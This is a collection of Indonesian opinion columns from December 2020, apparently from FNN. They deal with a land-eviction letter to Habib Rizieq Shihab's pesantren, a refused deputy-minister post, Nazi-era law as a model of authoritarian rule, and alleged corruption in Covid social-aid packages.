by Mochamad Toha Surabaya FNN - Kamis (24/12). Masih belum puas juga atas upaya kriminalisasi pada Habib Rizieq Shihab dan pembunuhan terhadap 6 laskar Front Pembela Islam (FPI) pengawal HRS dalam peristiwa Rest Area KM 50 Jalan Tol Jakarta-Cikampek, kini muncul “somasi” PTPN 8. Somasi “Pertama dan Terakhir” dari PT Perkebunan Nusantara (PTPN) 8 ditujukan kepada Pimpinan Pondok Pesantren Alam Agrokultur Markaz Syariah Megamendung Bogor yang dipimpin HRS. Diminta dikosongkan dalam waktu seminggu! 18 Desember 2020 Somasi Pertama dan Terakhir Kepada Yth Pimpinan Pondok Pesantren Alam Agrokultural Markaz Syariah Megamendung Bogor Dengan hormat, Sehubungan dengan adanya permasalahan penguasaan fisik tanah HGU PT Perkebunan Nusantara VIII Kebun Gunung Mas seluas +/- 30,91 Ha yang terletak di Desa Kuta, Kecamatan Megamendung, Kabupaten Bogor, Jawa Barat oleh Pondok Pesantren Alam Agrokultural Markaz Syariah sejak tahun 2013 tanpa ijin dan persetujuan dari PTPN VIII kami tegaskan bahwa lahan yang Saudara kuasai tersebut merupakan aset PTPN VIII berdasarkan sertifikat HGU Nomor 299 tanggal 4 Juli 2008. Tindakan Saudara tersebut merupakan tindak pidana penggelapan hak atas barang tidak bergerak, larangan pemakaian tanah tanpa izin yang berhak atau kuasanya dan atau pemindahan sebagaimana yang diatur dalam Pasal 385 KUHP, Perpu No 51 Tahun 1960 dan pasal 480 KUHP. Berdasarkan hal tersebut, dengan ini kami memberikan kesempatan terakhir serta memperingatkan Saudara untuk segera menyerahkan lahan tersebut kepada PTPN VIII selambat-lambatnya 7 (tujuh) hari kerja terhitung sejak diterima surat ini. Apabila dalam jangka waktu 7 (tujuh) hari kerja terhitung sejak diterima surat ini Saudara tidak menindaklanjuti maka kami akan melaporkan ke Kepolisian cq. Polda Jawa Barat. PTPN VIII Surat PTPN pic.twitter.com/jkoB351RmI — Fahmi Alkatiri (@FKadrun) December 22, 2020 Surat Somasi “Pertama dan Terakhir” itu ditandatangani Dirut PTPN 8 Mohammad Yudayat, 18 Desember 2020. Selama ini Yudayat dikenal sebagai orang dekat Rini Suwandi, mantan Menteri BUMN, dan Menko Maritim dan Investasi Luhut Binsar Panjaitan. Yang perlu dicatat, hampir seluruh wilayah Puncak, Gunung Geulis, hingga Sentul awalnya merupakan Tanah Garapan. Pemilik rumah di kawasan itu baru sekitar 5% yang pegang sertifikat. Sisanya di mana? Masih proses pembuatan sertifikat oleh developer. Cek sekarang, ada kawasan perumahan mewah di sana yang sedang berproses, pegang surat apa developernya? Kabarnya, sebelum PTPN 8 meminta HRS meninggalkan lahan itu, ada warga yang diminta Bareskrim Polri untuk menyoal pondok HRS. Tapi tidak mau. Pada 2017, lahan Megamendung itu sudah pernah dilaporkan ke Polda Jabar. HRS dituduh telah merampas lahan tersebut dari warga sekitar. Namun, setelah ditelusuri, ternyata tidak ada satu pun warga yang pernah melaporkan hal tersebut. Laporan itu ternyata fiktif hasil rekayasa kasus. HRS secara sah mengambil alih dari warga (ganti rugi kepada warga) dengan uang disaksikan kades setempat. Sehingga upaya untuk mempermasalahkan lahan tersebut pada 2017 gagal total. Apakah surat somasi kali ini benar-benar dari PTPN 8 atau aspal (asli tapi palsu), seperti saat HRS dilaporkan “warga” ke Polda Jabar pada 2017? Di sinilah perlunya dicek kebenarannya. Memalsu surat semacam “Somasi Pertama dan Terakhir” itu sangatlah mudah. Jika benar itu adalah surat dari PTPN 8 yang ditanda tangani oleh Dirutnya, pasti mengerti bagaimana prosedur hukum untuk menarik kembali lahan milik negara tersebut. Somasi itu setidaknya dikirim sebanyak 3 kali, bukan “Somasi Pertama dan Terakhir”. Lahan yang digunakan oleh HRS di Megamendung itu memang milik negara (PTPN) yang sudah tidak produktif atau karena terlalu dekat dengan pemukiman warga, sehingga HGU-nya diubah menjadi CSR bagi yang mau mengelolanya. Dan, biasanya dikelola oleh yayasan, ponpes juga bisa (ada banyak ponpes lahannya milik negara/PTPN yang sudah tidak produktif lagi). Jika benar lahan itu memang mau ditarik kembali oleh PTPN, tidak semudah itu main ultimatum mengosongkan. Lahan Markaz Syariah Group (Habib Rizieq Shihab) seluas sekitar 30,91 ha ini dibeli HRS dari warga sekitar yang menggarap lahan milik PTPN 8 itu pada 2013 di depan Kepala Desa Kuta, Kecamatan Megamendung, Kabupaten Bogor. Sekarang tinggal cek ulang saja ke Kades Kuta yang saat itu menjabat. Dari penelusuran, nama Kades Kuta yang menjabat saat itu adalah Kusnadi (2008-2014), dan kini untuk periode kedua juga dijabat Kusnadi (2020-2026). Semoga saja berita acara “peralihan” hak garap atas lahan tersebut masih tercatat dan aman di Desa Kuta, dan tidak “dihilangkan” karena tekanan dari pihak ketiga. Mengapa lahan tersebut yang “dikejar” oleh PTPN 8, tidak dengan lahan yang lain? Ke mana saja dulu, padahal sudah puluhan tahun lahan itu digarap warga. HRS juga membelinya dari warga, bukan menyerobotnya. Memang, kalau menurut hukum lahan HGU ya tetap HGU. Artinya, kalaupun ada CSR status tanah tetap HGU. Kecuali, kalau sudah ada redistribusi/hibah lahan yang mengubah status tanah ponpes menjadi HGB. Sebab, status yayasan setahu saya sudah tidak boleh lagi mengajukan SHM. Jika pun boleh, luasannya sekitar 2-5 ha saja. Kalaupun bisa dipermasalahkan ya somasinya. Karena, somasi itu harus dilakukan sebanyak 3 kali sebelum dilakukan eksekusi. Jadi, tidak ada yang namanya “somasi pertama dan terakhir”. Itu pun kalau sudah dilakukan jatuhnya hanya penundaan waktu untuk boyongan. Jadi, secara hukum PTPN 8 itu sudah benar. Kecuali, kalau pihak ponpes bisa menunjukkan adanya surat hibah/wakaf dari Direktur PTPN 8 sebelumnya. Surat-surat ini perlu dihadirkan sebagai “saksi” yuridis. Termasuk jika HRS sudah membeli dari warga. Sudah kesekian kalinya lahan Megamendung yang dikuasai HRS ini ada yang mencoba ambil paksa dengan berbagai dalih. Tapi, upaya itu selalu gagal. Dan, HRS sendiri sudah merasakan kalau lahan tersebut juga akan tetap dipersoalkan. Dalam video yang direkam November 2020 lalu, HRS sempat menyinggung masalah status tanahnya itu. Melihat isi ceramahnya, jelas HRSsudah tahu bahwa dalam waktu dekat status tanah yang sudah dibeli hak garapnya tersebut akan dipersoalkan. Para pemilik tanah di sekitar Markaz Megamendung itu pun sudah diintimidasi dan dihasut untuk mempersoalkan status tanah dan memfitnah HRS. Pihak PTPN 8 juga telah didatangi polisi agar segera mengambil alih tanah di Megamendung ini. Maka HRS sudah membuat pesan kepada para santrinya agar melawan jika terjadi pengusiran tanpa ada ganti rugi. Lahan Taipan? Jika menyimak Publikasi Perkumpulan Transformasi Untuk Keadilan (TUK) Indonesia pada 2015, lahan HGU Megamendung yang dikuasai HRS itu tak seberapa luas jika dibandungkan dengan Daftar Penggarap Hak Guna Usaha (HGU) terbesar di Indonesia. Dalam Breaking News, Rabu (23/12/2020) TUK Indonesia menyebutkan 25 grup usaha besar yang didominasi keturunan China telah menguasai 51% atau 5,1 juta ha lahan kelapa sawit di Indonesia. Luas tersebut hampir setara dengan luas setengah Pulau Jawa. Dari luasan tersebut baru 3,1 juta hektar yang sudah ditanami, sisanya belum digarap. Dari ke-25 grup bisnis itu, 21 perusahaan telah terdaftar di bursa efek. Ada sebelas perusahaan yang terdaftar di bursa efek di Jakarta, enam di bursa efek Singapura, tiga di Kuala Lumpur dan satu perusahaan di bursa efek London. Lima perusahaan diantranya, bahkan memiliki penguasaan lahan melebihi 300 ribu ha. Ke-5 grup usaha itu adalah Sinar Mas, Salim Group, Jardine Matheson, Wilmar Group serta Surya Dumai Group. Berikut daftar 10 besar taipan sawit berdasarkan data TuK, beserta luas landbank dan nilai kekayaan bersih taipan pada 2018: 1. Sinar Mas Group (Eka Tjipta Wijaya) menguasai 788 ribu ha senilai Rp 120,4 triliun; 2. Salim Group (Anthoni Salim) 413 ribu ha Rp 74,2 triliun; 3. Jardine Matheson Group (Henry Keswick) 363 ribu ha Rp. 84,6 triliun; 4. Wilmar Group (Robert Kuok, Khoo Hok Kuok, dan Martua Sitorus) 342 ribu ha Rp 240,8 triliun; 5. Surya Dumai Group (Martias & Cilandra Fangiono) 304 ribu ha Rp 16,1 triliun; 6. Darmex Agro Group (Surya Darmadi) 257 ribu ha Rp 18,2 triliun; 7. Royal Golden Eagle Group (Sukanto Tanoto) 225 ribu ha Rp 37,8 triliun; 8. Harita Group (Lim Haryanto Wijaya Sarwono) 206 ribu ha Rp 21 triliun; 9. Triputra Group (Benny Subianto) 200 ribu ha Rp 9 triliun; 10. Sampoerna Agro Group (Putra Sampoerna) seluas 192 ribu ha senilai Rp 60,2 triliun. Jika diurutkan, entah ada di urutan ke berapa lahan Markaz Syariah Group (HRS) seluas 30,91 ha tersebut. Tapi, mengapa yang dikejar cuma lahan Megamendung, bukan yang dikuasai 10 taipain di atas? Penulis adalah Wartawan Senior FNN.co.id

Tolak Wamen Pendidikan, Top Markotop Mas Mu'thi

by M Rizal Fadillah Bandung FNN – Kamis (24/12). Pengumuman enam menteri baru usai. Meski ada sedikit keraguan soal Menteri Agama keliru atau tidak, Yaqut atau Staquf, karena keduanya sama-sama Khalil. Soalnya awal yang ramai adalah nama Yahya Khalil Staquf, tetapi kemudian yang diumumkan dan dilantik keesokan harinya justru Yaqut Khalil Qoumas, sang adik. Di tengah komentar dan kritik keras terhadap kepatutan Yaqut untuk menjadi Menteri Agama, juga Sandiaga Uno "paket pilpres" Prabowo yang dinilai "ambruk dua-duanya", serta Budi Gunadi Sadikin alumni Institut Teknologi Bandung (ITB), yang bukan dokter, namun memimpin Kementrian Kesehatan, maka satu figur yang dicanangkan menjadi Wakil Menteri Pendidikan ternyata menolak untuk diangkat. Dialah Prof. Abdul Mu'thi. Mantap dan hebat patut diberikan kepada Mas Mu’thi. Bagaimana tidak, Sekretaris Umum PP Muhammadiyah itu beralasan tentang ketidakmampuan dia untuk mengemban amanah sebagai Wamen. Wah, wah dan wah. Berdasarkan pertimbangan yang matang” ujarnya. Akhirnya Mas Mu’thi menjadin satu-satunya kandidat yang tidak bersedia dilantik. Sikap Mas Mu’thi ini aneh tapi nyata. Sebab pada eranya orang yang lagi gila kehotmatan dan jabatan ini, masih ada yang menolak jabatan sekelas Wamen. Berbeda dengan Sandiaga Uno, yang sejak awal-awal terdengar tak bersedia. Namun akhirnya bersedia juga. Pilihan Mas Mu'thi tentu disikapi beragam. Namun bagfi warga Persyarikatan Muhammadiyah, dapat menilai bahwa sikap ketidaksediaan untuk menjadi Wakil Menteri itu sangat difahami dan patut diapresiasi. Dua hal penting yang mendasarinya. Pertama, sebagai Wamen ruang gerak untuk mengambil kebijakan sangat terbatas. Bukankah Presiden pernah menyatakan bahwa “tidak ada visi menteri ,yang ada adalah visi Presiden”. Nah visi Menteri saja tak ada, apalagi visi Wakil Menteri. Menteri dan Wakil Menteri yang bekerja tanpa visi adalah mesin, boneka, atau robot. Kedua, dalam budaya kepemimpinan di Muhammadiyah yang "kolektif kolegial". Artinya kerja bersama yang diutamakan. Semua elemen harus saling mendukung dengan tingkat keterbukaan dan kejujuran yang tinggi. Anggota kabinet Jokowi kini sudah terbaca oleh publik suka berjalan sendiri-sendiri. Bahkan tanpa visi yang jelas. Presiden tak memiliki kemampuan sebagai dirijen yang mumpuni. Mas Mu'thi yang masuk di pertengahan jalan. Akan berat untuk dapat berselancar mengarungi dua kondisi atau kultur di atas. Karenanya dengan bahasa halus ia menyatakan "tidak memiliki kemampuan untuk mengemban amanah sebagai Wamen". Meskipun sebenarnya semua orang tahu bahwa "pendidikan" adalah bidang yang sangat dikuasai dan menjadi keahlian Mas Mu’thi. Pemerintahan Jokowi kini sedang rapuh karena menghadapi banyak masalah yang tidak pernah tuntas. Korupsi di lingkaran istana pelan-pelan terus terkuak. Sementara penanganan pandemi Covid 19 tidak konsisten. Pembuatan aturan hukum dipaksa-paksakan. Kepentingan asing yang diutamakan. Pelanggaran Hak Asasi Manusia (HAM) dilakukan dengan kasat mata. Hutang luar negeri terus digali. Sekarang mencapai U$ 402,08 miliar dollar (Kompas.com edisi 14 Oktober 2020). Nah, silahkan kalikan sendiri dengan kurs tengah yang berlaku sekarang. Kurva pengelolaan negara tidak sedang menaik. Justru malah menurun, dengan tingkat kepercayaan masyarakat yang sangat rendah. Mengatasi aspirasi yang berbeda, kurang akomodatif dan dialogis. Malah semakin respresivitas dan eksploitative tinggi. Terkesan kehilangan rasa malu. Mas Mu'thi sudah tepat bersikap. Menolak jabatan adalah "counter culture" yang konstruktif untuk pembangunan karakter bangsa ke depan. Padanannya adalah budaya siap mundur jika gagal. Hal demikian merupakan barang langka di era kehidupan sosial politik yang hedonis dan pragmatis. Selamat dan mantap Mas Mu'thi. Matahari memiliki cahaya sendiri. Jabatan Wakil Menteri atau Menteri sekalipun harus didasarkan pada keyakinan. Perwujudan dari iman dan amal shaleh. Menjadi agenda untuk mengajak kebenaran dan mencegah kemungkaran. Penolakan jabatan adalah bagian dari mencegah kemungkaran itu. Penulis adalah Pemerhati Politik dan Kebangsaan.

Hukum dan Senjata, Dua Alat Utama Rezim Otoriter

by Dr. Margarito Kamis, SH.M.Hum Jakarta FNN – Kamis (24/12). Sejarah kekuasaan tirani menyajikan banyak hal yang seluruh aspeknya menarik. Monopoli kebenaran, dan mobilisasi pendapat umum, hanyalah dua aspek kecil menarik menandai rezim barbarian ini. Berbahaya, itu jelas. Tetapi sebahaya-bahanya monopoli kebenaran dan mobilisasi pendapat umum, masih tidak lebih berbahaya dibandingkan penggunaan hukum dan senjata. Hukum dan senjata, tersaji begitu telanjang dalam sejarah kekuasaan tirani. Sebagai dua alat utama penopang kekuasaan. Hukum dan senjata menjadi dua pilar penyangga terhebat di sepanjang garis eksistensinya yang dapat diperiksa. Kedua senjata mematikan itu sepenuhnya merupakan will of the ruler’s. Tyran, yang menurut Benedikt Forchner dalam artikelnya “Law’s Nature: Philosophy Argument in Cicero’s Writing” oleh Cicero disebut “belua” that is, as a wild animal. Penilian menjadi alasan tepat menyatakan Cicero tidak hendak menjadi “salus populi supreme lex esto” menghabisi individu. Rules by rulers, bukan rule of law, teridentifikasi sejarah sebagai inti penegakan hukum dan politik pada rezim-rezim tiran. Law adalah titah, decree, sang tiran. Law, dalam semua aspeknya, pembentukan dan penegakannya, sepenuhnya merupakan ekspresi kehendak sang tiran. Dalam beberapa kasus, khususnya Jerman, tipikal itu ditunjukan dengan sangat jelas melalui apa yang dikenal dengan Enabling Act 1933. Anabling Act ini yang memungkinkan Hitler menjadi Fuhrer. Yang mengakhiri semua prilege krule of law yang digaris dalam Wimar Constitution 1919. Konstitusi demokratis ini dicampakan secara kasar, khas politik rezim binasa. Freedom from illegal arrest, and from search and seizure, inviolable secrecy of all communication by mail, telegraph or telephon, freedom of speech freedom of the press, freedom of assembly, and freedom to organized club and association, tulis Fredercik Hoefer, semuanya diberangus. Hitler sejak saat itu, segera memanfaatkan polisi yang berada dibawah kendali Frcik dan Hermann Goring, Menteri Dalam Negeri, memenjarakan para oposan. Frcik secara terbuka menyatakan don’t worry, when we are in power we shal putt of you guys in cenocentration camp. Tidak lama setelah itu, 40.000 political opponent melarikan diri keluar negeri, dan 45.000 orang ditempatkan di komp konsentrasi. Agar terlihat sebagai rechstaat, pemerintahan teroro ini mendirikan special court untuk mengadili mereka. Enabling Act 1933, membenarkan hukum yang bersifat ex post facto. Hukum ini mengalihkan legislative power dari parlemen ke tangan Hitler. Judiciary independent, oleh Enabling Act juga dihapus. Judiciary independent hanya bisa indah dalam mimpi hakim-hakim merdeka. Mengerikan hukum ini juga menjungkalkan apa yang dalam ilmu hukum pidana kenal dengan nulla siene poena sine lege. Dua tahun kemudian, tepatnya tangal 15 September 1935, ketika berpidato di Nuremberg, Hitler mendekritkan (decree), apa yang dikenal dengan nurember law atau The Reich Citizen law. Diskriminasi rasial, teridentifikasi sebagai gagasan dasar The reich Citizen law ini. Tetapi harus diakui tidak seorangpun dihukum karena bermimpi. Mimpi tidak dikualifikasi sebagai kejahatan yang dapat dihukum. Padahal tipikal totalitarian, rezim ini telah menyediakan tatanan ganda untuk hukum. Benar-benar rezim teror, totalitarian, extra judicial arrest, extra murder and extra punishment, dilembagakan di dalam hukum pidana substantifnya. Pada saat yang sama rezim ini juga melembagakan judicial arrest. Khusus untuk extra judicial arrest and murders, disajikan sertas dilembagakan dalam tatanan politik dan hukumnya untuk justifikasi kehadiran concentration camp. Kajian-kajian hukum terhadap pemerintahan teror memang tidak menemukan kenyataan penggunaan “mobilisasi rakyat” dalam mempropagandakan pernyataan Marcus Tulius Cicero “salus populi suprema lex esto”. Sama sekali tidak begitu. Tidak juga seperti itu. Tetapi mobilisasi pendapat rakyat atas tindak tanduk pemerintah, menjadi tipikal rezim teror ini. Rezim ini, tentu dengan alasan yang khasnya, melembagaan “penghianatan tingkat tinggi “high treason” dalam hukum pidana. Sesuai tipikalnya, defenisi kejahatan ditentukan oleh sang tiran melalui decree. Hukum ini lalu dipertalikan dengan keamanan nasional. Apa yang dihiananti? Nazi, yang dipuncaknya bertengger sang Fuhrer. Demi keamanan, sisi esensial dari “salus populi suprema lex esto” itulah, rezim totalitarian ini menyatakan “hight and low treason” sebagai kejahatan. Populi yang beroposisi menemukan diri berada dalam titik bidik brutal, norak dan konyol rezim teror ini. Yang suprema bukan populi, tetapi elit rezim. Bahaya, tidak hanya disebabkan rezim ini memiliki aparatur bersejnata dalam menegakan hukum. Namun juga hukuman mati disediakan untuk mereka yang berhianat. Sebut untuk kaum opisisi, tetapi lebih dari itu. Aparatur hukum bersenjata, yang juga menyandang aparatur politik ini mendefenisikan hukum dalam praktek kekuasaanya. Aparatur hukum, termasuk hakim identik dengan kaki tangan Nazi. Mereka inilah yang mengenergizer hukum dan kamp konsentrasi. Untuk apa kamp konsentrasi itu? Extra judicial punishment atau illegal punishment atau unlawfull punishment. Hakim-hakim yang mengabdi pada nuraninya, dan dengan itu menjaga judiciary independency, juga dihukum. Otto Weis, anggota parlemen dari Social Democratic Party, terlempar karena mengeritik Anabling Act. Pejabat berotak waras, tak mau jadi domba pemerintahan Hitler, yang mengeritik Nazi, ambil misalnya Hans von Dohnanyi, juga dihukum. Hans von Dohnanyi, anak muda ahli hukum ini, diidentifikasi Hans Peter Graver dalam artikelnya yang dimuat di German Law Journal Vol. 19 No.04, tahun 2018, memegang jabatan tinggi di Kementerian Kehakiman dihukum. Dohnanyi dihukum atas tuduhan berkonspirasi dengan Canaris melawan Nazi. Latza dan Kanter’s, sekalipun tidak seheroik Hans von Dohnanyi, juga dihukum untuk hal yang sama. Kalau mau mati, setidaknya masuk penjara, silakan beroposisi. Rezim ini tidak memiliki kemampuan untuk sekadar senyum kepada orang yang mencetak Koran, yang memberitakan kritik terhadap pemerintahan ini. Rezim ini juga tak mampu senyum terhadap berita radio yang kritis. Rezim totaliter ini menyediakan hukuman penjara lima tahun untuk mereka yang sekadar bersuara kritis terhadap rezim. Sungguhpun begitu, tidak logis membayangkan orang-orang tidak bisa bicara politik sama sekali. Selalu bisa, bahkan perlu. Rezim ini malah membutuhkan para penggembira, tukang tepuk tangan, terlatih menyanyikan lagu berlirik puji-pujian konyol terhadap rezim. Bagaimanapun rezim tiran selalu picik dan kerdil dalam banyak aspek. Itu sebabnya rezim-rezim tiranis memerlukan polesan yang khas. Polesan itu berbentuk propaganda atas hal-hal, yang dengannya kelangsungannya menemukan pijakannya. Itu yang dikerjakan Joseph Goeble, propagandis kawakan andalan Hitler. Apakah hukum totalitarian memenuhi persyaratan ontologi dan epistemologi sebagai hukum? Ilmu hukum barat, jelas mengagungkan positivisme. Esensinya positivisme barat mengesampingkan penyatuan moralitas dan etika dengan hukum. Keduanya, dalam pandangan positivisme khas H. A.L Hart, harus dipisahkan. Ini jelas berbeda, dengan ontologi dan epistemologi hukum alam. Hukum alam tidak memisahkan, apalagi rigid antara norma hukum buatan, yang diciptakan manusia, dengan etika atau moralitas. Tetapi apapun itu, bagaimana menemukan justifikasi rasional terhadap pelembagaan, tidak hanya diskriminasi ras, termasuk agama minoritas, dan kebebasan berbicara, berorganisasi atau berkumpul? Rasio macam apa yang dapat disodorkan untuk menjustifikasi norma hukum yang melarang orang berserikat dan berbicara? Mau disebut apa orang mati di Kamp konsesentrasi, tanpa dapat membela diri? Logiskah extra court punishment, bahkan extra court killing dilembagakan? Stephen Riley, yang pandangannya dikutip Simon Lavis dan dimuat dalam disertasinya, menilai Nazi law is not law. Penilaiannya memang berbeda dengan H.A.L Hart, positivist tulen dalam khasanah ilmu hukum. Hart tetap menganggap Nazi law is law. Baginya, law harus dibedakan dengan moralitas. Penilaian Hart ternyata disanggah oleh Llon Fuller. Penyangkalannya didasarkan serangkaian fakta, terutama extra judicial killing di kamp konsentrasi. Bagi Fuller penghukuman jenis ini tidak dapat dibenarkan, dengan semua alasan yang mungkin. Baginya nazi law is not positive law. Llon Fuller memang tidak sezaman dengan Cicero. Memang itu jelas. Tetapi kenyataan itu tidak menjadi alasan Fuller, tidak menjustifikasi pernyataan Cicero “salus populi suprema lex esto” yang disukai oleh rezim-rezim teror dan otoriter. Fuller, yang memperlakukan etika ditempat terhormat semua hukum, tahu Cicero menolak hukum yang berwatak terror, dan merendahkan human dignity. Itu menjadi alasan valid Fuller “salus populi suprema lex esto” tidak dimaksudkan Cicero untuk membenarkan tindakan teror demi keamanan masyarakat. Bagi Fuller, Cicero memperlakukan hukum sebagai cara masyarakat menjaga keamanannya. Fuller tahu Cicero memahami hukum sebagai refleksi human nature. Hukum diapresiasi tinggi sebagai sarana untuk memelihara human dignity. Pandangan Cicero tentang hukum itu juga terlihat jelas pada kajian Yasmina Benferhat. Dalam artikel berjudul Cicero and the Small World of Roman Jurist, diedit Paul J. du Plessis, yang dimuat dalam buku berjudul Cicero’s Law, Rethingking Roman Law of the Late Republic, Cicero menempatkan “populous was the prime sources of legitimacy for all form of government and constitution. Hukum tidak dibuat untuk menyangkal sifat bawaan alamiah manusia. Dalam konteks filsafat, menurutnya hukum dipertalikan dengan kondisi manusia dalam eksistesinya hidup berdampingan satu dengan lainnya secara alamiah. Hukum dibuat untuk memastikan eksistensi alamiah itu. Dalam konteks itu, hukum, menurutnya harus dimengerti sebagai sesuatu yang ideal secara alamiah untuk kehidupan bersama. Cicero memang mengawali diskurusnya dengan bicara masyarakat, tetapi hal itu tidak dapat dimengerti bahwa Cicero menempatkan masyarakat secara kolektif pada jantung pandangannya. Kombinasi semua pandangan Cicero itu, menjadi alasan siapapun untuk menyanggah “salus populi suprema lex esto” digunakan di luar kerangka hukum berspirit human nature, untuk menghasilkan terpeliaranya human dignity. Apalagi Cicero juga menyatakan just as law contradiction nature, must not be called law. Tidak ada human dignity yang menjustifikasi extra court murder dan extra judicial killing. Tidakkah Allah Subhanauhu Wata’ala, yang menciptakan hamba-hambanya, menghukum orang yang membunuh orang lain? Semoga tatanan hukum Indonesia tidak bergeser. Tidak masuk ke dalam tatanan polititik dan hukum totaliter yang fasis. Semoga.* Penulis adalah Pengajar HTN Universitas Khairun Ternate.

Gurihnya Dana Bansos

by Tony Rosyid Jakarta FNN – Rabu (23/12). Anggaran bansos per paket seharga 300 ribu rupiah. Ini angka resminya. Untuk apa saja? Beras 10 kg harga Rp. 129.390 (Rp. 12.939/kg). Minyak goreng 2 liter harga Rp. 27.800 (Rp.13.900/lt). Sarden 9 kaleng harga Rp. 71.550 (Rp. 7.950/kaleng) Mie instan 12 bungkus harga Rp. 34.260 (2.855/bks). Sambel kecap harga Rp. 7.000. Goodie bag Rp. 15.000. Keuntungan rekanan Rp. 15.000.Total: Rp. 299.990 (Genapin jadi Rp. 300.000). Coba anda lihat harga barang-barang itu di super market, mini market, agen, atau warung biasa. Jauh lebih murah. Apalagi kalau belinya glosiran. Murah banget! Kenapa untuk bansos lebih mahal? Satu alasan, buat bagi-bagi! Untuk bisa berbagi, harus ada selisih. Makin besar selisihnya, makin banyak yang dapat bagian. Caranya? Pertama, dimark up harganya. Otak-atik cocok, sikat. Kedua, volume barang dikurangi. Dengan cara ini, selisih jadi besar, dan bagi-baginya menjadi semakin besar. Ini lagu lama bro! Lagu Korupsi jaman bahula dulu. Dipakai lagi sekarang. Coba cek ke penerima bantuan. Kadang berasnya bulukan, kadang 5 kg, sarden dan mie instan cuma 5 biji. Kasus seperti ini, kabarnya banyak sekali ditemukan di masyarakat penerima bantuan. Anda bisa cek ke lapangan. Dari selisih harga saja, sudah untung besar. Kok masih nggak puas? Barang dikurangi pula. Taksiran harga beras 10 kg Rp. 82.000. Minyak goreng 2 liter Rp. 25.000. Sarden 10 kaleng Rp. 22.500. Mie instan 12 Rp. 7.200. Sambel kecap Rp. 4.100. Goodie bag Rp. 9.000. Jadi totalnya Rp. 149.000 Dengan begitu, ada selisih sekitar Rp. 150.000. Kemana saja selisih ini? Beberapa sumber mengatakan bahwa Rp. 25.000 untuk rekanan. Rp. 25.000 untuk oknum-oknum di Kementerian Sosial (Kemensos). Yang Rp.100.000 kemana? Ini tugas KPK menelusuri aliran dana Rp.100.000 itu? Adakah dana itu nyasar ke partai dan ke lingkaran istana? Dengan skema seperti ini, para pengusaha berebut. 1 SPK (Surat Perintah Kerja) minimal dapat 200.000 paket. Silahkan kalikan keuntungan dan bagi-baginya. Gede banget. Itu baru 1 SPK. Kalau sekian SPK? Karena itu, para pengusaha nggak segan-segan keluarin uang di muka untuk si A, si B, si C, sampai si Z. Bagi-bagi di awal. Uang pelicin! Bansos jelas dikorup. Dilakukan dengan telanjang mata dan terang-terangan. Nggak perlu kepandaian KPK untuk mengungkap ini. Karena jenis korupsinya sangat transparan. Dan praktek ini terjadi sejak dari awal. Jadi gosip di warung kopi dan cafe-cafe. Kenapa perampok uang negara ini terkesan dibiarkan? Anda jangan berpikir KPK hebat telah menangkap Mensos Julian Batubara. Tidak. Kalau lihat kasus ini dari awal, KPK justru dianggap telat. Mestinya nangkap dari awal. Katanya UU KPK yang baru lebih berorientasi pada pencegahan? Ini harus dibuktikan. Tugas KPK adalah membongkar kasus ini sampai ke seakar-akarnya. Julian Batubara tidak sendiri. Korupsi uang gede, kecil kemungkinan sendirian. Pasti berjama'ah. Lalu, siapa anggota jama'ahnya? KPK harus kejar siapa saja yang terlibat. Semua rekanan harus diusut. Tanpa terkecuali. Jangan pakai random smpling. Ini bukan survei! Penyedia kantongnya harus juga diinvestigasi. Dalam hal ini adalah PT. Sritex. Plus siapa yang saja yang merekomendasukan PT. Sritex jadi rekanan. Adakah uang gratifikasi yang mengalir ke orang itu. Nggak usah pedulikan siapa dan anak siapa dia. Kalau terlibat, usut! Semua pihak ketiga yang menjadi mediator dan ikut menikmati bagi-bagi dana bansos juga harus diusut. Jangan berhenti di Julian Batubara saja. Bawahan, bahkan partai Julian Batubara berasal, semua harus ditelusuri terkait aliran dana bansos ini. Kasus ini mesti dituntaskan. Adakah kemauan KPK untuk menuntaskan kasus bansos ini sebagai tanda bahwa KPK masih ada dan sudah siuman dari tidur panjangnya? Kita tunggu! Penulis adalah Pengamat Politik dan Pemerhati Bangsa.

Hukuman Mati Menanti Juliardi Batubara, KPK Macan Ompong?

by Furqan Jurdi Jakarta FNN – Rabu (23/12). Kita sedang menghadapi krisis ekonomi dan krisis Kesehatan Akibat Pandemi Covid~19. Pada tanggal 13 April Presiden menetapkan Covid 19 sebagai bencana nasional. Hal itu tertuang dalam Keputusan Presiden Republik Indonesia Nomor 12 tahun 2020 tentang penetapan bencana non alam penyebaran corona virus disease 2019 (COVID-19) sebagai bencana nasional. Artinya sampai saat ini kita masih menghadapi bencana. Untuk mengatasi dampak dari bencana itu, presiden telah mengeluarkan beberapa paket kebijakan yang untuk menstimulasi dampak Covid di berbagai sektor. Salah satunya adalah mengeluarkan Peraturan Pemerintah Pengganti Undang-Undang Nomor 1 Tahun 2020 yang namanya sangat panjang itu. Lalu kemudian di sahkan menjadi UU Nomor 2 Tahun 2020. Dalam Pasal 27 UU a quo, terdapat imunitas bagi pejabat dalam melaksanakan tugas dan wewenangnya selama itu berkaitan dengan covid~19. Namun dalam hal imunitas, menurut Prof. Eddy Oemar Syarif Hiariej, ada dua postulat. Pertama, impunitas continuum affectum tribuit delinquendi. Berarti imunitas yang dimiliki seseorang membawa kecenderungan kepada orang itu untuk melakukan kejahatan. Kedua, impunitas semper ad deteriora invitat. Yang berarti imunitas mengundang pelaku untuk melakukan kejahatan yang lebih besar. Berdasarkan kedua postulat itu, imunitas dalam hukum pidana pada dasarnya tidak dikenal. Imunitas dalam hukum pidana hanya diberikan kepada orang tertentu atas tindak pidana yang dilakukan di luar teritorial negaranya. Berdasarkan Pasal 50 KUHP “barang siapa melakukan perbuatan untuk melaksanakan ketentuan undang-undang, tidak dipidana”. Bahwa seorang pejabat memiliki imunitas, hal tersebut tidak berlaku apabila ada perbuatan yang memenuhi pasal-pasal pidana. Jadi, imunitas dalam UU Nomor 2 Tahun 2020 adalah imunitas bersyarat. Pertama, diterapkannya prinsip iktikad baik dalam melaksanakan tugas pokok dan fungsinya dalam UU Nomor 2/2020. Kedua, tugas pokok dan fungsi aquo dilaksanakan sesuai ketentuan dengan peraturan perundang-undangan. Oleh karena itu tidak ada kekebalan hukum apabila ditemukan itikad jahat (mensrea) dan menyalahi peraturan perundang-undangan. Setiap tindakan pejabat negara yang menyalahi ketentuan perundang-undangan yang berlaku, dan tidak memiliki itikad baik dalam mengeluarkan keputusan, entah itu ada pasal imunitas atau tidak, tetap akan dipertanggungjawabkan dihadapan hukum. Jadi, dalam konteks apapun, setiap orang yang secara melawan hukum melakukan perbuatan memperkaya diri sendiri atau orang lain atau suatu korporasi yang dapat merugikan keuangan negara atau perekonomian negara, kapan saja dapat dihukum. Ada atau tanpa imunitas. Hukum Mati Koruptor 